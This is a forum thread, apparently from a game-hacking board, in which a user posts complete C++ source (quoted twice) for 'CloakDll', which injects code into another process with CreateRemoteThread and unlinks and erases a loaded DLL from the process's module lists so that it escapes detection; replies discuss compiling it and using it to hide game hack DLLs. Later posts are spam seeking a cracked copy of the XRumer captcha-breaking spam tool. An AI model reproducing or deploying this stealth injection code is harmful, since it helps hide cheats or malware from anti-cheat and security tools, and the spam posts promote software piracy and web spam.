CloakDLL.cpp

Dark_Mage-

Member!
Joined
Dec 29, 2004
Messages
100
Reaction score
0
Website
www.realmgx.com
I assume that if you understand this, you know what to do with it. ;)
Otherwise, don't worry about it.

Code:
//		    CloakDll     -	by Darawk	-	RealmGX.com
//
//	The purpose of CloakDll is to allow the user to hide any loaded
//	module from the windows API.  It works by accessing the modules
//	list stored in the PEB, and subsequently unlinking the module
//	in question from all 4 of the doubly-linked lists that it's a
//	node of.  It then zeroes out the structure and the path/file
//	name of the module in memory.  So that even if the memory where
//	the data about this module used to reside is scanned there will
//	still be no conclusive evidence of it's existence.  At present
//	there is only one weakness that I have found in this method.
//	I'll describe how it may still be possible to discover at least
//	that a module has been hidden, after a brief introduction to how
//	the GetModuleHandle function works.
//
//	*The following information is not documented by Microsoft.  This
//	 information consists of my findings while reverse-engineering 
//	 these functions and some of them may be incorrect and/or
//	 subject to change at any time(and is almost definitely different
//	 in different versions of windows, and maybe even in different
//	 service packs).  I've tried to make my code as version independant
//	 as possible but certain parts of it may not work on older versions
//	 of windows.  I've tested it on XP SP2 and there i'll guarantee
//	 that it works, but on any other versions of windows, it's anyone's
//	 guess.*
//
//	GetModuleHandle eventually calls GetModuleHandleExW, which in
//	turn accesses the native API function GetDllHandle, which calls
//	GetDllHandleEx.  And it's not until here, that we actually see
//	anything even begin to look up information about loaded modules.
//	Whenever GetModuleHandle is called, it saves the address of the
//	last ModuleInfoNode structure that it found in a global variable
//	inside of ntdll.  This global variable is the first thing
//	checked on all subsequent calls to GetModuleHandle.  If the
//	handle being requested is not the one that was requested the last
//	time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
//	LdrpCheckForLoadedDll begins by converting the first letter of the
//	module name being requested to uppercase, decrementing it by 1 and
//	AND'ing it with 0x1F.  This effectively creates a 0-based index
//	beginning with the letter 'A'.  The purpose of this is so that
//	the module can first be looked up in a hash table.  The hash table
//	consists entirely of LIST_ENTRY structures.  One for each letter
//	'A' through 'Z'.  The LIST_ENTRY structure points to the first
//	and last modules loaded that begin with the letter assigned to
//	that entry in the hash table.  The Flink member being the first
//	loaded beginning with that letter, and the Blink member being the
//	last.  The code scans through this list until it finds the module
//	that it's looking for.  On the off-chance that it doesn't find it
//	there, or if the boolean argument UseLdrpHashTable is set to false
//	it will begin going through one of the other three lists.  If, at
//	this point it still doesn't find it, it will admit defeat and return
//	0 for the module handle.
//
//	Weakness:  The global variable inside ntdll that caches the pointer
//	to the last module looked up could be used to at least detect the
//	fact that a module has been hidden.  The LdrUnloadDll() function
//	will set this value to 0 when it unloads a module, so if the cache
//	variable points to an empty structure, the only logical conclusion
//	would be a hidden module somewhere in the process.  This could be
//	resolved by using the static address of this variable and simply
//	zeroing it out.  However, this would make the code specific to only
//	one version of windows.  You could also scan the address space of
//	ntdll for any occurences of the base address(aka module handle)
//	of the module you're hiding.  However, this would be slow and it
//	would clutter up the CloakDll_stub function, because it'd have to
//	all be done manually.  And i'd have to either use a static base
//	address for ntdll...which would probably work on most versions
//	of windows, however I really don't like using static addresses.  
//	Or i'd have to manually locate it by writing my own unicode 
//	string comparison code, to lookup ntdll in the list by it's name.
//	Realistically though anyone trying to detect this way would run
//	into the same problem.  That their code would not be version
//	independant.  So, it's unlikely to see any largescale deployment
//	of such a technique.  However, anyone who would like to solve
//	this problem themselves is perfectly free, and encouraged to do
//	so.

#include <windows.h>
#include <winnt.h>
#include <tlhelp32.h>
#include <shlwapi.h>


#pragma comment(lib, "shlwapi.lib")

#define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
#define UNLINK(x) (x).Blink->Flink = (x).Flink; \
	(x).Flink->Blink = (x).Blink;
	
#pragma pack(push, 1)

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _ModuleInfoNode
{
	LIST_ENTRY LoadOrder;
	LIST_ENTRY InitOrder;
	LIST_ENTRY MemoryOrder;
	HMODULE baseAddress;		//	Base address AKA module handle
	unsigned long entryPoint;
	unsigned int size;			//	Size of the modules image
	UNICODE_STRING fullPath;
	UNICODE_STRING name;
	unsigned long flags;
	unsigned short LoadCount;
	unsigned short TlsIndex;
	LIST_ENTRY HashTable;	//	A linked list of any other modules that have the same first letter
	unsigned long timestamp;
} ModuleInfoNode, *pModuleInfoNode;

typedef struct _ProcessModuleInfo
{
	unsigned int size;			//	Size of a ModuleInfo node?
	unsigned int initialized;
	HANDLE SsHandle;
	LIST_ENTRY LoadOrder;
	LIST_ENTRY InitOrder;
	LIST_ENTRY MemoryOrder;
} ProcessModuleInfo, *pProcessModuleInfo;


#pragma pack(pop)

bool CloakDll_stub(HMODULE);
void CD_stubend();

bool CloakDll(char *, char *);
unsigned long GetProcessIdFromProcname(char *);
HMODULE GetRemoteModuleHandle(unsigned long, char *);


int main(int argc, char **argv)
{
	CloakDll("notepad.exe", "kernel32.dll");
	return 0;
}

bool CloakDll(char *process, char *dllName)
{
	PathStripPath(dllName);

	unsigned long procId;
	procId = GetProcessIdFromProcname(process);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);

	//	Calculate the length of the stub by subtracting it's address
	//	from the beginning of the function directly ahead of it.
	//
	//	NOTE: If the compiler compiles the functions in a different
	//	order than they appear in the code, this will not work as
	//	it's supposed to.  However, most compilers won't do that.
	unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;

	//	Allocate space for the CloakDll_stub function
	void *stubAddress = VirtualAllocEx(hProcess, 
		NULL, 
		stubLen, 
		MEM_RESERVE | MEM_COMMIT,
		PAGE_EXECUTE_READWRITE);

	//	Write the stub's code to the page we allocated for it
	WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);

	HMODULE hMod = GetRemoteModuleHandle(procId, dllName);

	//	Create a thread in the remote process to execute our code
	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);

	//	Clean up after ourselves, so as to leave as little impact as possible
	//	on the remote process
	VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
	return true;
}

bool CloakDll_stub(HMODULE hMod)
{
	ProcessModuleInfo *pmInfo;
	ModuleInfoNode *module;

	_asm
	{
		mov eax, fs:[18h]		// TEB
		mov eax, [eax + 30h]	// PEB
		mov eax, [eax + 0Ch]	// PROCESS_MODULE_INFO
		mov pmInfo, eax
	}

    module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
	
	while(module->baseAddress && module->baseAddress != hMod)
		module = (ModuleInfoNode *)(module->LoadOrder.Flink);

	if(!module->baseAddress)
		return false;

	//	Remove the module entry from the list here
	///////////////////////////////////////////////////	
	//	Unlink from the load order list
	UNLINK(module->LoadOrder);
	//	Unlink from the init order list
	UNLINK(module->InitOrder);
	//	Unlink from the memory order list
	UNLINK(module->MemoryOrder);
	//	Unlink from the hash table
	UNLINK(module->HashTable);

	//	Erase all traces that it was ever there
	///////////////////////////////////////////////////

	//	This code will pretty much always be optimized into a rep stosb/stosd pair
	//	so it shouldn't cause problems for relocation.
	//	Zero out the module name
	memset(module->fullPath.Buffer, 0, module->fullPath.Length);
	//	Zero out the memory of this module's node
	memset(module, 0, sizeof(ModuleInfoNode));	

	return true;
}

__declspec(naked) void CD_stubend() { }

unsigned long GetProcessIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot;
   BOOL retval, ProcFound = false;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   return pe.th32ProcessID;
}

HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
{
	MODULEENTRY32 modEntry;
	HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);

	modEntry.dwSize = sizeof(MODULEENTRY32);
    Module32First(tlh, &modEntry);

	do
	{
		if(!stricmp(modEntry.szModule, module))
			return modEntry.hModule;
		modEntry.dwSize = sizeof(MODULEENTRY32);
	}
	while(Module32Next(tlh, &modEntry));

	return NULL;
}
 

wasup999999

BattleForums Member
Joined
Oct 10, 2003
Messages
450
Reaction score
0
Location
Hmm, Where Do You Think?
Website
Visit site
Hmm, I think I know what this is :D. I'll check it out on a diff ip/cdkey/acct 2morrow if it is what I think it is. If it is what I think it is, and it works, then I <3 dark mage-!

~Edit: What compiler you use, dev-c++ doesn't support the asm parts :frustrate
 

_CM

Respected Member
Joined
May 19, 2003
Messages
3,874
Reaction score
3
Location
Luxembourg
thanks a ton for this quality post Dark_Mage-

Added to the Sticky!

Thanks again
 

binny

Member!
Joined
Apr 13, 2005
Messages
208
Reaction score
0
Location
canaDa
very nice:D
 

fattyxp

Member!
Joined
Feb 13, 2004
Messages
221
Reaction score
0
Website
shawnjcox.sh.funpic.org
you call cloakdll with the process name and the dllname and it hides it. bam. not too hard to understand. I assume since you are loading the dll into d2 memory you look in the d2process you loaded it to, and then the dll name you loaded (easymap.dll for example). Correct me if I am wrong here (I only know visual basic as of right now, but the same basic principals apply to all languages really... only thing that changes is code syntax structure and a whole lot of manual memory management.)
 

w00t3r

Member!
Joined
Jun 21, 2005
Messages
26
Reaction score
0
Could someone please post an assembled version for me? I dont have C on this comp, only ASM.
 

R1CH

Member!
Joined
Aug 7, 2005
Messages
54
Reaction score
0
What happens when the OS comes to unload the process? Won't the DLL leak?
 

_Ace

BattleForums Senior Member
Joined
May 17, 2003
Messages
1,474
Reaction score
0
Location
Under my bed (Spain)
Website
Visit site
Probably, but that's not a problem, make your application have an "unload" button and tell people to use it. Or let them burn in hell, it will still work if they don't.
 

DeathProphet

Member!
Joined
Aug 2, 2005
Messages
59
Reaction score
0
Dark_Mage- said:
I assume that if you understand this, you know what to do with it. ;)
Otherwise, don't worry about it.

Code:
//		    CloakDll     -	by Darawk	-	RealmGX.com
//
//	The purpose of CloakDll is to allow the user to hide any loaded
//	module from the windows API.  It works by accessing the modules
//	list stored in the PEB, and subsequently unlinking the module
//	in question from all 4 of the doubly-linked lists that it's a
//	node of.  It then zeroes out the structure and the path/file
//	name of the module in memory.  So that even if the memory where
//	the data about this module used to reside is scanned there will
//	still be no conclusive evidence of it's existence.  At present
//	there is only one weakness that I have found in this method.
//	I'll describe how it may still be possible to discover at least
//	that a module has been hidden, after a brief introduction to how
//	the GetModuleHandle function works.
//
//	*The following information is not documented by Microsoft.  This
//	 information consists of my findings while reverse-engineering 
//	 these functions and some of them may be incorrect and/or
//	 subject to change at any time(and is almost definitely different
//	 in different versions of windows, and maybe even in different
//	 service packs).  I've tried to make my code as version independant
//	 as possible but certain parts of it may not work on older versions
//	 of windows.  I've tested it on XP SP2 and there i'll guarantee
//	 that it works, but on any other versions of windows, it's anyone's
//	 guess.*
//
//	GetModuleHandle eventually calls GetModuleHandleExW, which in
//	turn accesses the native API function GetDllHandle, which calls
//	GetDllHandleEx.  And it's not until here, that we actually see
//	anything even begin to look up information about loaded modules.
//	Whenever GetModuleHandle is called, it saves the address of the
//	last ModuleInfoNode structure that it found in a global variable
//	inside of ntdll.  This global variable is the first thing
//	checked on all subsequent calls to GetModuleHandle.  If the
//	handle being requested is not the one that was requested the last
//	time GetDllHandleEx calls the LdrpCheckForLoadedDll function.
//	LdrpCheckForLoadedDll begins by converting the first letter of the
//	module name being requested to uppercase, decrementing it by 1 and
//	AND'ing it with 0x1F.  This effectively creates a 0-based index
//	beginning with the letter 'A'.  The purpose of this is so that
//	the module can first be looked up in a hash table.  The hash table
//	consists entirely of LIST_ENTRY structures.  One for each letter
//	'A' through 'Z'.  The LIST_ENTRY structure points to the first
//	and last modules loaded that begin with the letter assigned to
//	that entry in the hash table.  The Flink member being the first
//	loaded beginning with that letter, and the Blink member being the
//	last.  The code scans through this list until it finds the module
//	that it's looking for.  On the off-chance that it doesn't find it
//	there, or if the boolean argument UseLdrpHashTable is set to false
//	it will begin going through one of the other three lists.  If, at
//	this point it still doesn't find it, it will admit defeat and return
//	0 for the module handle.
//
//	Weakness:  The global variable inside ntdll that caches the pointer
//	to the last module looked up could be used to at least detect the
//	fact that a module has been hidden.  The LdrUnloadDll() function
//	will set this value to 0 when it unloads a module, so if the cache
//	variable points to an empty structure, the only logical conclusion
//	would be a hidden module somewhere in the process.  This could be
//	resolved by using the static address of this variable and simply
//	zeroing it out.  However, this would make the code specific to only
//	one version of windows.  You could also scan the address space of
//	ntdll for any occurences of the base address(aka module handle)
//	of the module you're hiding.  However, this would be slow and it
//	would clutter up the CloakDll_stub function, because it'd have to
//	all be done manually.  And i'd have to either use a static base
//	address for ntdll...which would probably work on most versions
//	of windows, however I really don't like using static addresses.  
//	Or i'd have to manually locate it by writing my own unicode 
//	string comparison code, to lookup ntdll in the list by it's name.
//	Realistically though anyone trying to detect this way would run
//	into the same problem.  That their code would not be version
//	independant.  So, it's unlikely to see any largescale deployment
//	of such a technique.  However, anyone who would like to solve
//	this problem themselves is perfectly free, and encouraged to do
//	so.

#include <windows.h>
#include <winnt.h>
#include <tlhelp32.h>
#include <shlwapi.h>


#pragma comment(lib, "shlwapi.lib")

#define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A'
#define UNLINK(x) (x).Blink->Flink = (x).Flink; \
	(x).Flink->Blink = (x).Blink;
	
#pragma pack(push, 1)

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _ModuleInfoNode
{
	LIST_ENTRY LoadOrder;
	LIST_ENTRY InitOrder;
	LIST_ENTRY MemoryOrder;
	HMODULE baseAddress;		//	Base address AKA module handle
	unsigned long entryPoint;
	unsigned int size;			//	Size of the modules image
	UNICODE_STRING fullPath;
	UNICODE_STRING name;
	unsigned long flags;
	unsigned short LoadCount;
	unsigned short TlsIndex;
	LIST_ENTRY HashTable;	//	A linked list of any other modules that have the same first letter
	unsigned long timestamp;
} ModuleInfoNode, *pModuleInfoNode;

typedef struct _ProcessModuleInfo
{
	unsigned int size;			//	Size of a ModuleInfo node?
	unsigned int initialized;
	HANDLE SsHandle;
	LIST_ENTRY LoadOrder;
	LIST_ENTRY InitOrder;
	LIST_ENTRY MemoryOrder;
} ProcessModuleInfo, *pProcessModuleInfo;


#pragma pack(pop)

bool CloakDll_stub(HMODULE);
void CD_stubend();

bool CloakDll(char *, char *);
unsigned long GetProcessIdFromProcname(char *);
HMODULE GetRemoteModuleHandle(unsigned long, char *);


int main(int argc, char **argv)
{
	CloakDll("notepad.exe", "kernel32.dll");
	return 0;
}

bool CloakDll(char *process, char *dllName)
{
	PathStripPath(dllName);

	unsigned long procId;
	procId = GetProcessIdFromProcname(process);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId);

	//	Calculate the length of the stub by subtracting it's address
	//	from the beginning of the function directly ahead of it.
	//
	//	NOTE: If the compiler compiles the functions in a different
	//	order than they appear in the code, this will not work as
	//	it's supposed to.  However, most compilers won't do that.
	unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub;

	//	Allocate space for the CloakDll_stub function
	void *stubAddress = VirtualAllocEx(hProcess, 
		NULL, 
		stubLen, 
		MEM_RESERVE | MEM_COMMIT,
		PAGE_EXECUTE_READWRITE);

	//	Write the stub's code to the page we allocated for it
	WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL);

	HMODULE hMod = GetRemoteModuleHandle(procId, dllName);

	//	Create a thread in the remote process to execute our code
	CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL);

	//	Clean up after ourselves, so as to leave as little impact as possible
	//	on the remote process
	VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE);
	return true;
}

bool CloakDll_stub(HMODULE hMod)
{
	ProcessModuleInfo *pmInfo;
	ModuleInfoNode *module;

	_asm
	{
		mov eax, fs:[18h]		// TEB
		mov eax, [eax + 30h]	// PEB
		mov eax, [eax + 0Ch]	// PROCESS_MODULE_INFO
		mov pmInfo, eax
	}

    module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink);
	
	while(module->baseAddress && module->baseAddress != hMod)
		module = (ModuleInfoNode *)(module->LoadOrder.Flink);

	if(!module->baseAddress)
		return false;

	//	Remove the module entry from the list here
	///////////////////////////////////////////////////	
	//	Unlink from the load order list
	UNLINK(module->LoadOrder);
	//	Unlink from the init order list
	UNLINK(module->InitOrder);
	//	Unlink from the memory order list
	UNLINK(module->MemoryOrder);
	//	Unlink from the hash table
	UNLINK(module->HashTable);

	//	Erase all traces that it was ever there
	///////////////////////////////////////////////////

	//	This code will pretty much always be optimized into a rep stosb/stosd pair
	//	so it shouldn't cause problems for relocation.
	//	Zero out the module name
	memset(module->fullPath.Buffer, 0, module->fullPath.Length);
	//	Zero out the memory of this module's node
	memset(module, 0, sizeof(ModuleInfoNode));	

	return true;
}

__declspec(naked) void CD_stubend() { }

unsigned long GetProcessIdFromProcname(char *procName)
{
   PROCESSENTRY32 pe;
   HANDLE thSnapshot;
   BOOL retval, ProcFound = false;

   thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

   if(thSnapshot == INVALID_HANDLE_VALUE)
   {
      MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL);
      return false;
   }

   pe.dwSize = sizeof(PROCESSENTRY32);

    retval = Process32First(thSnapshot, &pe);

   while(retval)
   {
      if(StrStrI(pe.szExeFile, procName) )
      {
         ProcFound = true;
         break;
      }

      retval    = Process32Next(thSnapshot,&pe);
      pe.dwSize = sizeof(PROCESSENTRY32);
   }

   return pe.th32ProcessID;
}

HMODULE GetRemoteModuleHandle(unsigned long pId, char *module)
{
	MODULEENTRY32 modEntry;
	HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId);

	modEntry.dwSize = sizeof(MODULEENTRY32);
    Module32First(tlh, &modEntry);

	do
	{
		if(!stricmp(modEntry.szModule, module))
			return modEntry.hModule;
		modEntry.dwSize = sizeof(MODULEENTRY32);
	}
	while(Module32Next(tlh, &modEntry));

	return NULL;
}
A cpp maphack source? Good Work :grunt
 

Forged

Premium Member
Joined
Nov 28, 2002
Messages
5,433
Reaction score
0
Location
Texas
Website
www.securegamers.com
wasup999999 said:
we need to find out what compiler he used because it doesnt compile with dev-c++ or Digital Mars compilers
Taking a guess I think he used visual c++

deathprophet said:
A cpp maphack source? Good Work
No, it is a .dll file you call to hide the loaded .dll hack files you use.
 

w00t3r

Member!
Joined
Jun 21, 2005
Messages
26
Reaction score
0
Same guess here, most people just take the easy route and dl Visual Studio.

And to use it, you call it in your dll using CloakDLL(ProcessName, DLLName) as you can see from the code and he told us.
 

MagicOPromotion

BattleForums Newbie
Joined
May 2, 2009
Messages
2
Reaction score
0
Help for downloading for free

Well... I want to download software pack XRumer 5.0 PALLADIUM free. Any url???
I'm so need this magic program! It's can break captchas automatically! Activate accounts via email automatically too! Absolutely great software! Help me!
And did you hear news - price for XRumer 5.0 Palladium will grow up to $540 after 15 may 2009... And XRumer 2.9 and 3.0 - too old versions, it's cant break modern catpchas and cant break modern anti-bot protections. But XRumer 5.0 Palladium CAN!!!!
So help me for download this great program for free! Thanks!
 

EltonBay

BattleForums Newbie
Joined
May 21, 2009
Messages
1
Reaction score
0
Please, help me, brothers!!!

Yes.
XRumer 5.0 Palladium it the best soft for promo anyway.
I was promoted more than 100 my web-satellites up to Google's TOP-10 (keywords - adult and pharma)
 

CocoChanels

BattleForums Newbie
Joined
Jun 27, 2009
Messages
2
Reaction score
0
Who knows where to download XRumer 5.0 Palladium?

Who knows where to download XRumer 5.0 Palladium?
Help, please. All recommend this program to effectively advertise on the Internet, this is the best program!
 

CocoChanels

BattleForums Newbie
Joined
Jun 27, 2009
Messages
2
Reaction score
0
huh.... well..

no any cracks(((
Think, XRumer 5.0 Palladium is really BEST software for promo and for SEO!
 
Top